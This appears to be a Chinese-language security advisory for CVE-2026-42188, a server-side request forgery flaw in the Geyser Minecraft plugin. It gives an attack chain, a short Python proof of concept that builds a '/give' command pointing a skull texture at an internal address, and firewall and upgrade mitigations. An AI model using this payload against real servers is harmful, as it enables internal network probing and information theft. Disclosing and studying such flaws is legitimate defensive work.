IPBUF安全漏洞报告
English
CVE-2026-42188 CVSS 2.4 低危

CVE-2026-42188: Geyser SSRF漏洞允许通过皮肤纹理进行服务器端请求伪造

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-42188
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
2.4 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
Geyser

相关标签

SSRF服务端请求伪造GeyserMinecraftRCECVE-2026-42188

漏洞概述

Geyser是一款连接Minecraft基岩版与Java版的桥梁插件。在2.9.3版本之前,该软件存在服务端请求伪造(SSRF)漏洞。漏洞源于Geyser在处理基岩版玩家头部皮肤纹理数据时,未对URL进行有效验证。攻击者可通过发送包含恶意Base64编码皮肤纹理URL的`/give`命令,诱导服务器向攻击者指定端点或内网地址发起HTTP GET请求。尽管利用需要一定权限,但该漏洞可能导致内网信息泄露。目前该问题已在2.9.3版本中修复。

技术细节

该漏洞(CVE-2026-42188)位于Geyser处理基岩版玩家头部皮肤纹理的模块中。当服务器处理由`/give`命令生成的带有NBT数据的头颅物品时,会解析其中的`SkullOwner`属性。攻击者可以构造一个包含`textures`字段的JSON对象,并将其Base64编码后放入NBT数据中。由于Geyser在2.9.3版本之前未对纹理URL进行严格的格式校验和内网IP限制,服务器会直接解码并访问该URL。攻击者利用此行为,可以将服务器作为代理,对内部网络服务(如localhost、AWS元数据服务、内部管理面板等)发起HTTP请求。根据CVSS 3.1向量(AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:N/A:N),攻击者需要具备较高的网络权限(PR:H,通常指游戏内管理员或OP权限)并诱导用户交互(UI:R),这限制了攻击的广度,但依然构成了严重的内网侦察和信息泄露风险(C:L)。修复方案包括实施严格的URL白名单机制,阻止对私有IP地址和本地回环地址的访问。

攻击链分析

STEP 1
步骤1: 准备恶意载荷
攻击者准备一个指向内部服务或敏感端点(如 http://127.0.0.1:8080)的URL,并将其按照Minecraft纹理JSON格式进行Base64编码。
STEP 2
步骤2: 执行游戏命令
攻击者利用拥有高权限(如OP权限)的角色,在游戏中或通过控制台执行特制的`/give`命令,将包含恶意URL的头颅物品给予玩家。
STEP 3
步骤3: 服务端解析与请求
Geyser插件接收到该物品数据,尝试解析头颅纹理。由于缺乏验证,服务器直接解码Base64数据并向攻击者指定的URL发起HTTP GET请求。
STEP 4
步骤4: 信息泄露
内部服务响应请求,攻击者通过监听恶意服务器日志或分析响应时间,确认内网端口开放情况或获取敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC Concept for CVE-2026-42188 # This Python script generates a Minecraft /give command that triggers the SSRF. import base64 import json def generate_malicious_command(target_url): # Create the JSON structure for the texture texture_data = { "url": target_url } # Encode to Base64 (Minecraft texture format requirement) encoded_bytes = base64.b64encode(json.dumps(texture_data).encode("utf-8")) encoded_string = encoded_bytes.decode("utf-8") # Construct the /give command with NBT data # This gives the player a player_head with the malicious texture command = f'/give @p minecraft:player_head{{SkullOwner:{{Id:"IcyRex",Properties:{{textures:[{{Value:"{encoded_string}"}}]}}}}}}' return command if __name__ == "__main__": # Example: Targeting an internal admin panel or metadata service target = "http://127.0.0.1:8080/admin" print(f"Target: {target}") print("Run this command in the Minecraft server console or as an OP player:") print(generate_malicious_command(target))

影响范围

Geyser < 2.9.3

防御指南

临时缓解措施
如果无法立即升级,建议在网络防火墙层面对Minecraft服务器的出站流量进行严格控制,禁止访问内网元数据服务(如169.254.169.254)和本地回环地址。同时,应审查并减少服务器内拥有OP权限的玩家数量,防止恶意命令被触发。

参考链接